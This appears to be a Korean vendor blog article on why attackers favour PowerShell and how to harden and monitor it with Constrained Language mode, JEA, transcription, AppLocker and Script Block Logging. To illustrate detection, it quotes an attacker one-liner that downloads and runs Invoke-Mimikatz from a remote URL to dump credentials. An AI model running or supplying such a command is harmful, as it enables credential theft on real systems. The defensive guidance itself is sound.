공격자에게 PowerShell이 특히 인기 있는 이유는 무엇일까요?

PowerShell이 공격 플랫폼으로서 인기가 높은 이유는 무엇일까요?

그렇다면 왜 많은 사이버 범죄자들이 PowerShell을 사용해 공격을 시작할까요? 우선, 무료이기 때문입니다. 그 밖의 이유는 다음과 같습니다:

• 대부분의 비즈니스 사용자는 Windows 엔드포인트 장치에서 PowerShell이 활성화되어 있습니다.
• PowerShell은 명령과 스크립트를 메모리에서 직접 실행하는 파일리스(파일 없이) 방식으로 동작하여, 탐지가 어렵습니다.
• 원격 연결을 시작하면 거의 모든 Windows 장치에 접근할 수 있습니다.
• 위협 행위자는 Empire, DeathStar 및 CrackMapExec 같은 다른 악성 도구를 사용해 PowerShell을 활용할 수 있습니다.
• GitHub와 다른 곳에는 공격자가 사용할 수 있는 수많은 스크립트가 있습니다(예: Invoke-Mimikatz ).

공용 환경(on-prem)에서 공격자가 초기 액세스를 확보하면, PowerShell을 사용해 네트워크에 대한 가시성을 확보하고, 내부에서 측면 이동(lateral movement)을 수행하여 가장 민감한 데이터와 기타 IT 리소스에 접근할 수 있습니다.

PowerShell로 인한 위험을 줄이는 방법

PowerShell은 다양한 유형의 공격에 악용되기 때문에, 악의적 사용을 막기 위한 보호 조치를 반드시 도입해야 합니다. PowerShell로 유발되는 위협의 위험을 줄일 수 있는 몇 가지 방법을 살펴보겠습니다.

로컬 관리자 권한 제한

Zero Trust 네트워크 시대에는 표준 사용자가 업무상 필요가 없는 한 자신의 장치에 로컬 관리자 권한을 가져서는 안 됩니다. 로컬 관리자 권한을 거부해도 PowerShell에 대한 액세스 자체는 제한되지 않지만, 많은 PowerShell 명령과 스크립트가 실행에 권한 상승(관리자 권한)을 요구하기 때문에 사용자가 — 또는 계정을 손상시킨 공격자가 — PowerShell로 수행할 수 있는 작업의 범위는 제한됩니다. 또한 로컬 관리자 권한을 거부하면 사용자의 민감한 폴더 및 시스템 설정에 대한 접근도 제한됩니다.

제한된 언어 모드 사용

Windows PowerShell은 PowerShell에서 사용할 수 있는 범위를 결정하는 다양한 언어 모드를 지원합니다. Constrained Language 모드는 Windows RT 운영 체제용으로 개발되었으며, 이후 현재 모든 최신 Windows 운영 체제에서 사용되는 Windows PowerShell V5에 추가되었습니다.

아래와 같이 PowerShell 세션을 Full Language 모드로 시작할 수 있습니다.

다음 명령을 사용하여 PowerShell 세션을 Constrained Language 모드로 전환할 수 있습니다.

Constrained Language 모드에서는 PowerShell이 제한된 명령과 스크립트 집합으로 제한됩니다. 이러한 제한을 벗어난 명령 실행은 아래 예시와 같이 차단됩니다.

Constrained Language 모드는 PowerShell 프로필 사용과 추가 PowerShell 모듈을 로드하는 기능 등 특정 PowerShell 기능에 대한 액세스도 제한합니다. 이러한 제한은 종합적으로 해커가 PowerShell을 사용해 시스템 보안 조치를 우회하는 것을 방지하는 데 도움이 됩니다.

안타깝게도 이 보호 조치에는 눈에 띄는 약점이 하나 있습니다. 사용자는 PowerShell 세션을 새로 시작하기만 하면 되며, 기본적으로 해당 세션은 Full Language 모드로 실행되어 PowerShell 기능에 대한 전체 액세스 권한을 갖게 됩니다.

PowerShell Just Enough Administration (JEA) 사용

PowerShell Just Enough Administration을 사용하면 관리 작업에 대해 역할 기반 시스템을 강제할 수 있습니다. JEA를 PowerShell을 위한 최소 권한(least privilege) 보안 원칙이라고 생각해 보세요. 사용자가 JEA 세션을 시작하면, 해당 역할과 연결된 작업과 명령만 수행할 수 있는 제한된 형태의 PowerShell이 할당됩니다. 이를 통해 사용자는 불필요한 특권 명령을 실행하지 못하게 됩니다.

JEA를 활성화하는 것은 여러 단계로 이루어진 프로세스입니다. 첫 번째 단계는 아래와 같이 역할 호환성 파일을 만드는 것입니다.

그다음 .prsc 파일을 편집하고, 예를 들어 사용자가 특정 명령을 실행할 수 있도록 허용하는 등 역할의 구체적인 권한(역량)을 정의해야 합니다. 다른 단계로는 세션 구성 파일을 만들고, 그 파일을 사용해 로컬 컴퓨터에 새 JEA 엔드포인트를 등록하는 작업이 포함됩니다.

활동을 가시성 있게 파악하세요

IT 환경에서 어떤 일이 발생하는지 알아야 합니다. 한 가지 옵션은 Windows 이벤트 포워딩(WEF)을 사용하는 것입니다. WEF는 Windows 운영 체제에 포함된 무료 도구로, 분산 시스템의 이벤트 로그를 수집하고 중앙화할 수 있습니다. 제3자 방식으로는 보안 정보 및 이벤트 관리(security information and event management, SIEM) 솔루션을 사용할 수 있습니다. SIEM은 다양한 서로 다른 시스템에서 데이터를 수집한 다음 이를 집계하여, 환경 전반에서 일어나는 일을 종합적으로 파악할 수 있게 해줍니다.

지정된 시스템에서 실행된 PowerShell 활동 전체를 기록(로그)하도록 PowerShell 시스템 전역 전사(transcript) 기능도 활성화해야 합니다. 그러면 실행된 명령을 검토할 수 있습니다. 이는 감사 및 포렌식 조사를 수행하는 데 도움이 될 수 있습니다. PowerShell 시스템 전역 전사를 활성화하려면 Group Policy object(GPO)를 만든 다음, Computer Configuration > Administrative Templates > Windows Components > PowerShell로 이동하여 Enable PowerShell Transcription 아래와 같이 켭니다:

AppLocker를 사용해 PowerShell과 스크립트를 비활성화

AppLocker은 Windows 10 Enterprise에 포함되어 있으며, 애플리케이션과 스크립트에 대한 허용 목록(allowlist)을 구성하는 데 유용한 방법을 제공합니다. 설정은 시스템에서 로컬로 구성하거나 Group Policy를 통해 구성할 수 있습니다. Group Policy를 사용하려면 GPO를 생성한 뒤 Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker로 이동합니다. 실행 가능 규칙(executable rule)을 만들고 Deny 아래와 같이 선택합니다:

게시자(publisher), 파일 경로 또는 파일 해시(file hash)로 애플리케이션을 차단할 수 있습니다. 아래 예시 정책은 파일 해시로 차단하고 로컬 관리자만 PowerShell을 실행할 수 있게 허용합니다. 다른 모든 사용자의 액세스는 차단됩니다.

그런 다음 그룹 정책(Group Policy)을 사용해 정책을 배포하거나, XML 파일로 내보낸 뒤 Intune과 같은 MDM에 가져올 수 있습니다. 내보낸 정책의 XML 코드는 아래에 표시되어 있습니다:

      <AppLockerPolicy Version="1">

<RuleCollection Type="Exe" EnforcementMode="NotConfigured">

<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">

<Conditions>

<FilePathCondition Path="*" />

</Conditions>

</FilePathRule>

<FileHashRule Id="5d5ed1c5-a9db-4e46-8e88-80aade9dbb5c" Name="powershell.exe" Description="Block PowerShell" UserOrGroupSid="S-1-1-0" Action="Deny">

<Conditions>

<FileHashCondition>

<FileHash Type="SHA256" Data="0x68705285F7914823244E19E4F6DBC4A75C4DE807EA1CF128AEC2CCAFCE5FE109" SourceFileName="powershell.exe" SourceFileLength="448000" />

</FileHashCondition>

</Conditions>

</FileHashRule>

</RuleCollection>

<RuleCollection Type="Msi" EnforcementMode="NotConfigured" />

<RuleCollection Type="Script" EnforcementMode="NotConfigured" />

<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />

<RuleCollection Type="Appx" EnforcementMode="NotConfigured" />

</AppLockerPolicy>
      

또한 Script Rules 정책을 사용해 지정 폴더에 대한 허용 규칙을 만들고, 아래와 같은 간단한 PowerShell 스크립트를 이용하면 지정한 폴더의 파일만 실행되도록 보장할 수도 있습니다:

Script Block Logging으로 악성 PowerShell을 탐지

PowerShell 5는 악성 PowerShell 스크립트를 추적하기 위한 몇 가지 새로운 기법을 도입합니다. 그중 하나가 Script Block Logging입니다. PowerShell 5에서는 이 수준의 로깅이 기본으로 활성화되어 있으며, PowerShell이 실행한 전체 스크립트를 평문(clear-text)으로 로깅합니다. 많은 PowerShell 공격이 해독하기 어려운 인코딩된 스크립트를 악용하기 때문에, 이는 유용합니다.

공격자가 스크립트를 숨기려는 한 가지 방법을 살펴보겠습니다. 아래와 같은 스크립트를 사용해 Invoke-Mimikatz:

powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”

공격자는 PowerSploit 및 Out-EncodedCommand를 사용하여 이 명령의 인코딩된 버전을 만들 수 있으며, 이는 더 난독화된 형태입니다:

하지만 PowerShell 이벤트 로그에는 인코딩 없이 실제로 실행된 내용이 그대로 표시됩니다:

Netwrix가 도울 수 있는 방법

조직에서는 이러한 완화 및 탐지 전략을 사용해 악성 스크립트를 모니터링하고 방어할 수 있지만, 작업을 더 쉽게 만들어 주는 서드파티 제품도 있습니다. Netwrix Endpoint Privilege Manager 는 허용(allow) 및 차단(deny) 목록을 손쉽게 만들어 사용자가 원치 않는 애플리케이션—PowerShell을 포함—을 실행하지 못하도록 자동으로 차단할 수 있게 해줍니다. 또한, 이 도구를 사용하면 로컬 관리자 권한을 제거하면서도 사용자가 높은 생산성을 위해 필요한 관리 작업을 계속 수행할 수 있습니다.

PowerShell은 강력한 도구입니다. 공격자가 이를 쉽게 악용해 공격에 사용하는 일이 없도록 적절한 예방 조치를 반드시 취하세요.